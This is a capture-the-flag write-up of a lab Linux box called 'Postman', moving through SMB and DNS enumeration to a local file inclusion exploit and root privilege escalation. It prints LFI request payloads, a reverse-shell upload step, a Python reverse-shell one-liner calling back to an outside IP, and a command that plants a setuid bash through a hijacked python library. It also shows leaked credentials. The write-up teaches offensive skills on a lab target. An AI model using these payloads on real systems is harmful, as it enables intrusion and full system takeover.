Postman is an easy Linux box. It can be exploited by enumerating SMB and finding credentials which can be used to authenticate to an admin portal. This portal can be found by performing DNS enumeration and obtaining several new subdomains. The application was vulnerable to LFI and in combination with a writeable SMB share, this could be chained to obtain a low-level shell. Privileges were escalated by finding credentials in a configuration file and by abusing a writeable python library through python library hijacking.
I started by running NmapAutomator.
Nmap discovered the following open ports and services:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA) | 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA) |_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519) 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Friend Zone Escape software 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http Apache httpd 2.4.29 |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: 404 Not Found | ssl-cert: Subject: commonName=Postman.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO | Not valid before: 2018-10-05T21:02:30 |_Not valid after: 2018-11-04T21:02:30 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) Service Info: Hosts: Postman, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
The first thing I checked was for anonymous access with FTP, this was not possible. The next thing I checked was the HTTP server. The homepage of the application gives a hint to:
Postmanportal.red. Which can also be observed by examining the certificate in the browser.
My enumeration continued with SMB:
smbmap -H 10.129.137.44 [+] Guest session IP: 10.129.137.44:445 Name: Postmanportal.red Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers Files NO ACCESS Postman Samba Server Files /etc/Files general READ ONLY Postman Samba Server Files Development READ, WRITE Postman Samba Server Files IPC$ NO ACCESS IPC Service (Postman server (Samba, Ubuntu))
And I checked the SMB version manually with wireshark. I started examining the shares and found the following credentials:
smbclient \\\\10.129.137.44\\general lpcfg_do_global_parameter: WARNING: The "client lanman auth" option is deprecated lpcfg_do_global_parameter: WARNING: The "client ntlmv2 auth" option is deprecated Enter WORKGROUP\jeroen's password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Wed Jan 16 21:10:51 2019 .. D 0 Mon Sep 28 14:19:07 2020 creds.txt N 57 Wed Oct 10 01:52:42 2018
This file contained the following:
cat info/creds.txt creds for the admin THING: admin:WORKWORKHhallelujah@#
Running SMBMAP again with these details results in the same findings. Also, I was not able to authenticate through FTP:
ncftp 10.129.137.44 -u admin -p WORKWORKHhallelujah@# NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/). Connecting to 10.129.137.44... (vsFTPd 3.0.3) Login incorrect.
Then I focused on the last share ‘Development’. Since you have write permissions, you can write files to this share:
smb: \> put test.txt putting file test.txt as \test.txt (0.1 kb/s) (average 0.1 kb/s) smb: \> dir . D 0 Mon Apr 26 15:41:20 2021 .. D 0 Mon Sep 28 14:19:07 2020 test.txt A 5 Mon Apr 26 15:41:20 2021
This is always interesting and worth keeping in mind. I continued with my SMB enumeration and ran the following nmap script to obtain more information:
nmap --script smb-enum-shares -p 139,445 10.129.137.44 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-26 16:03 CEST Nmap scan report for Postmanportal.red (10.129.137.44) Host is up (0.010s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | account_used: guest | \\10.129.137.44\Development: | Type: STYPE_DISKTREE | Comment: Postman Samba Server Files | Users: 0 | Max Users: | Path: C:\etc\Development | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.129.137.44\Files: | Type: STYPE_DISKTREE | Comment: Postman Samba Server Files /etc/Files | Users: 0 | Max Users: | Path: C:\etc\hole | Anonymous access: | Current user access: | \\10.129.137.44\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (Postman server (Samba, Ubuntu)) | Users: 1 | Max Users: | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.129.137.44\general: | Type: STYPE_DISKTREE | Comment: Postman Samba Server Files | Users: 0 | Max Users: | Path: C:\etc\general | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.129.137.44\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: | Path: C:\var\lib\samba\printers | Anonymous access: |_ Current user access:
The output was very useful as it contains file paths. I continued with the webserver enumeration and added the earlier observed domains to /etc/hosts. Gobuster found two directories for Postman.red:
gobuster dir -w ~/wordlists/directory-list-lowercase-2.3-medium.txt -u https://Postman.red/ -o dir-low_Postman-red.txt -k -x txt,php /admin (Status: 301) [Size: 318] [--> https://Postman.red/admin/] /js (Status: 301) [Size: 315] [--> https://Postman.red/js/]
The admin directory was empty but the js directory contains the following file:
https://Postman.red/js/js/ Testing some functions ! I'am trying not to break things ! cXY0MXRITnlmdzE2MTk0NDc3NjJjenV5UktHenpM
This value changes each time a request is issued. When you check the source it has this comment attached:
Testing some functions !I'am trying not to break things !akxDa1NaSVNiODE2MTk0NDgwMTY0UnFzOTBybmps Comment: dont stare too much , you will be smashed ! , it's all about times and zones !
I tried to convert this with BurpSuite’s extender hackverter but did not manage to find anything. The last thing to check was DNS. Currently we are aware of two domains:
10.129.137.44 Postmanportal.red 10.129.137.44 Postman.red
Let’s enumerate both: Postmanportal.red:
dig axfr @10.129.137.44 Postmanportal.red ; (1 server found) ;; global options: +cmd Postmanportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 Postmanportal.red. 604800 IN AAAA ::1 Postmanportal.red. 604800 IN NS localhost. Postmanportal.red. 604800 IN A 127.0.0.1 admin.Postmanportal.red. 604800 IN A 127.0.0.1 files.Postmanportal.red. 604800 IN A 127.0.0.1 imports.Postmanportal.red. 604800 IN A 127.0.0.1 vpn.Postmanportal.red. 604800 IN A 127.0.0.1 [...]
dig axfr @10.129.137.44 Postman.red ; (1 server found) ;; global options: +cmd Postman.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 Postman.red. 604800 IN AAAA ::1 Postman.red. 604800 IN NS localhost. Postman.red. 604800 IN A 127.0.0.1 administrator1.Postman.red. 604800 IN A 127.0.0.1 hr.Postman.red. 604800 IN A 127.0.0.1 uploads.Postman.red. 604800 IN A 127.0.0.1 [...]
Lets check all of these newly discovered domains.
1: admin.Postmanportal.red: When logging in with the credentials that were found earlier, you will get a message back.
Let’s check the other admin page. 2: administrator1.Postman.red : for this page the login was successful! It showed this message:
Login Done ! visit /dashboard.php
Burp was used to navigate there and added a parameter
GET /dashboard.php?image_id=a.jpg&pagename=timestamp HTTP/1.1 Host: administrator1.Postman.red [...]
I added it as URL parameter and the application returned this:
Something went worng ! , the script include wrong param ! Final Access timestamp is 1619452911
Local File Inclusion
Okay, this seems vulnerable to LFI. I created the following PHP file and added this to the SMB share `Development’ (the one we discovered earlier with write access):
cat > test.php echo "Hello world!"; smbclient \\\\10.129.123.40\\Development smb: \> put test.php putting file test.php as \test.php (0.7 kb/s) (average 0.7 kb/s)
Because of the Nmap output, you know where this file is stored, which is:
Path: C:\etc\Development. To exploit the LFI, the following payload must be sent:
GET /dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=/etc/Development/test HTTP/1.1 Host: administrator1.Postman.red [...] HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 19:52:19 GMT [...] IGVjaG8gIkhlbGxvIHdvcmxkITxicj4iOwo=
On our local machine we can verify this is our file with:
echo "IGVjaG8gIkhlbGxvIHdvcmxkITxicj4iOwo=" | base64 -d echo "Hello world!";
Now you can upload a php-reverse-shell.php through SMB again and then issue the following request:
GET /dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell HTTP/1.1 Host: administrator1.Postman.red
Please note that you must remove .php because the application adds this. This will provide you with a low level shell as www-data and will enable you to read the user.txt.
Running linpeas showed the following information leakage inside a configuration file: When opening this file you will find credentials:
www-data@Postman:/tmp$ cat /var/www/mysql_data.conf for development process this is the mysql creds for user friend db_user=friend db_pass=Agpyu12!0.213$ db_name=FZ
With these credentials you can open a session as friend. As the friend user, I ran linpeas again. It found a couple interesting directories. When navigating to the highlighted directory, the following script it shown:
friend@Postman:/opt/server_admin$ ls -la total 12 drwxr-xr-x 2 root root 4096 Jan 24 2019 . drwxr-xr-x 3 root root 4096 Oct 6 2018 .. -rwxr--r-- 1 root root 424 Jan 16 2019 reporter.py
This file contained the following contents:
cat reporter.py #!/usr/bin/python import os to_address = "admin1@Postman.com" from_address = "admin2@Postman.com" print "[+] Trying to send email to %s"%to_address #command = ''' mailsend -to admin2@Postman.com -from admin1@Postman.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"''' #os.system(command) # I need to edit the script later # Sam ~ python developer
Sam seems to have added an incomplete python script that has the OS system command as comment unfortunately. In addition, only root has write access to this file. Therefore, it seems that you cannot abuse this file to obtain privesc. I like to run pspy to see if any cronjobs are running on the system. With pspy you can notice that root runs this file every two minutes:
2021/04/28 23:40:01 CMD: UID=0 PID=60492 | /usr/bin/python /opt/server_admin/reporter.py 2021/04/28 23:40:01 CMD: UID=0 PID=60491 | /bin/sh -c /opt/server_admin/reporter.py 2021/04/28 23:42:01 CMD: UID=0 PID=60511 | /usr/bin/python /opt/server_admin/reporter.py 2021/04/28 23:42:01 CMD: UID=0 PID=60510 | /bin/sh -c /opt/server_admin/reporter.py
Therefore, it is very likely that this file has something to do with the privesc. After some more enumeration, another enumeration script `Linux smart enumeration script’ showed an interesting writeable file. Linpeas showed it as well with colour coding which makes it a bit easier to spot. Since this is writeable, you can perform privilege escalation through python library hijacking. This page explains this process.. Since you are already in the os module, some reverse shells are a pain to get working. This would connect back for example:
import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.147",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
But it would immediately die. To prevent this from happening you should remove the os. parts since you are already in this module. An easier method however, is the rootbash method, simply run this command:
echo "system ('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')" >> /usr/lib/python2.7/os.py
Now you will have to wait till the cronjob is ran after which the payload will have executed. Now you can obtain a root shell by executing:
I really enjoyed this box and learned a tonne from doing it. The breadth of this box is pretty cool because you will have to keep enumerating to continue with the puzzle. Exploiting the local file inclusion was quite tricky since you had to rely on the information from nmap but since it was obviously vulnerable to LFI this made it more doable. The privesc was really nice as well, it shows to always spend some more attention to writeable files. I hope you enjoyed this writeup as much as I enjoyed doing this box and that you learned some new things!